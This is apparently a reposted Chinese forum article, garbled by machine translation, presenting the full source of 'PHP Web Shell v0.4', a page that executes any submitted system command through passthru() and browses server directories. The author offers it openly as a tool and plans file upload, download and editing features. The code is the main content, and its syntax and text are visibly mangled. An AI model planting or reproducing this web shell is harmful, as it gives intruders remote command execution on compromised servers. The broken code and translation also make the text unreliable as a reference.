PHP Shell Writing (Improvement Version)

xiaoxiao2021-03-06  110

PHP Shell Writing (Improvement Version)

I have written a PHP CMD shell who has no technical content, always feels weak, and it is not dealt with some problems, such as browsing the directory, and later, after learning PHP, I found a lot of fun functions, so I reopeically Write a new PHP shell, I hope everyone likes it!

Program introduction:

Program: PHP Web Shell Version: V0.4 Features: 1. You can support current mainstream operating systems: Win32 / * NIX / * BSD2. Execute System Command / Program 3. Browse Directory

Future function: 1. Support online upload / download file function 2. Support online new / delete / add / modify file function

code:

php web shell v0.4 </ title> <! - Definition file style -> <style> <! -. Input {border-right: # 888888 1px solid; border- Top: # 888888 1px solid; background: #ffff; border-left: # 888888 1px solid; border-bottom: # 888888 1px solid; font-family: "verdana", "arial" font-color: #ffff; font- Size: 9pt;}. Font {font-size: 9pt;}. Fonts {font-size: 15pt;} Table {font-size: 9pt; color: # 006666} a {font-size: 9pt; color: # 6666cc Text-decoration: none} a: hover {font-size: 9pt; color: # ff3333; text-decoration: none} body {scrollbar-fold-color: #ffff; scrollbar-highlight-color: # 6c6c90; scrollbar- SHADOW-COLOR: #fcfcfc; SCROLLBAR-3DLIGHT-COLOR: #fcfcfc; SCROLLBAR-ARROW-COLOR: # 240024; SCROLLBAR-TRACK-COLOR: #fcfcfc; SCROLLBAR-dARKSHADOW-COLOR: # 48486c; SCROLLBAR-BASE-COLOR: # FCFCFC} -> </ stop> </ head></p> <p><body bgcolor = "# eeeeee" text = "# 000000"> <center> <font size = 3 color = red class = fonts> <b> php web shell </ b> </ font> v0.4 <font size = 2 Color = "000000" Class = font> Applicable system: Win32 / Linux / Unix / BSD </ font></p> <p><Form method = post action = "<? Echo $ pHP_SELF?>> // Get the script itself <font class = font> Enter the command <font> <input type =" text "name =" cmd "size = 20 Class = INPUT> <input type = "Submit" Value = "Execute" Class = Input> <font class = font> Enter Directory </ font> <input type = "text" name = "DIR" size = 20 class = input> <Input Type = "Submit" Value = "Browse" Class = INPUT> </ form> </ center> <pre> <font size = 2 color = "000000" class = font> <? Phpecho server address: <a HREF = / "http: // $ _ server [server_name] /"> "; // display server domain name or IP address echo" This file path: $ _server [pat_translated] "; // Display the path where the file is displayed?></p> <p><? PHPIF (! Empty ($ cmd)) {echo "Execute the result after the <font color = red> $ cmd </ font> command:"; // Operate the prompt after command} if (! EMPTY ($ DIR) ) {Echo "Browse the directory <font color = red> $ dir </ font> Results:"; // View the prompt after the directory}?> <Hr size = 1> <? Phpif (Empty ($ cmd) && empty ($ DIR)) {// Judging whether there is no input command, if there is no error prompt echo, "Please enter the command you want to execute or you want to browse! (Please determine the system has the corresponding command or directory and corresponding permissions ) ";} @ PASSTHRU ($ cmd); // Use the passthru () function to perform the acquired command (variable), the similar function in the PHP is SYSTEM (), POPEN (), exec (), etc. F = @ OpenDir ($ dir); // Using the openDir () function to get the directory information assignment to the variable while ($ file = @Readdir ($ f)) {// Using the readdir () function loop read directory information echo "$ file / n "; // Branch Display the acquired directory information}?> </ font> </ pre></p> <p></ body> </ html></p></div><div class="text-center mt-3 text-grey"> 转载请注明原文地址:https://www.9cbs.com/read-125340.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>) </div><div></div></div></div><ul class="postlist list-unstyled"> </ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="125340" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved </div><div class="col text-right">Processed: <b>0.053</b>, SQL: <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script> var debug = DEBUG = 0; var url_rewrite_on = 1; var url_path = './'; var forumarr = {"1":"Tech"}; var fid = 1; var uid = 0; var gid = 0; xn.options.water_image_url = 'view/img/water-small.png'; </script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script> var forum_url = 'list-1.html'; var safe_token = 'CVhLyto4UhuUFqVovdM0PPFEP2tb6cd3x6NX8cmFcKFi4XdD8n5sLsE_2BH0ZnyuNEbaYwaNzc6e_2Fh6PM9'; var body = $('body'); body.on('submit', '#form', function() { var jthis = $(this); var jsubmit = jthis.find('#submit'); jthis.reset(); jsubmit.button('loading'); var postdata = jthis.serializeObject(); $.xpost(jthis.attr('action'), postdata, function(code, message) { if(code == 0) { location.reload(); } else { $.alert(message); jsubmit.button('reset'); } }); return false; }); function resize_image() { var jmessagelist = $('div.message'); var first_width = jmessagelist.width(); jmessagelist.each(function() { var jdiv = $(this); var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width(); var jmessage_width = Math.min(jdiv.width(), maxwidth); jdiv.find('img, embed, iframe, video').each(function() { var jimg = $(this); var img_width = this.org_width; var img_height = this.org_height; if(!img_width) { var img_width = jimg.attr('width'); var img_height = jimg.attr('height'); this.org_width = img_width; this.org_height = img_height; } if(img_width > jmessage_width) { if(this.tagName == 'IMG') { jimg.width(jmessage_width); jimg.css('height', 'auto'); jimg.css('cursor', 'pointer'); jimg.on('click', function() { }); } else { jimg.width(jmessage_width); var height = (img_height / img_width) * jimg.width(); jimg.height(height); } } }); }); } function resize_table() { $('div.message').each(function() { var jdiv = $(this); jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); }); } $(function() { resize_image(); resize_table(); $(window).on('resize', resize_image); }); var jmessage = $('#message'); jmessage.on('focus', function() {if(jmessage.t) { clearTimeout(jmessage.t); jmessage.t = null; } jmessage.css('height', '6rem'); }); jmessage.on('blur', function() {jmessage.t = setTimeout(function() { jmessage.css('height', '2.5rem');}, 1000); }); $('#nav li[data-active="fid-1"]').addClass('active'); </script>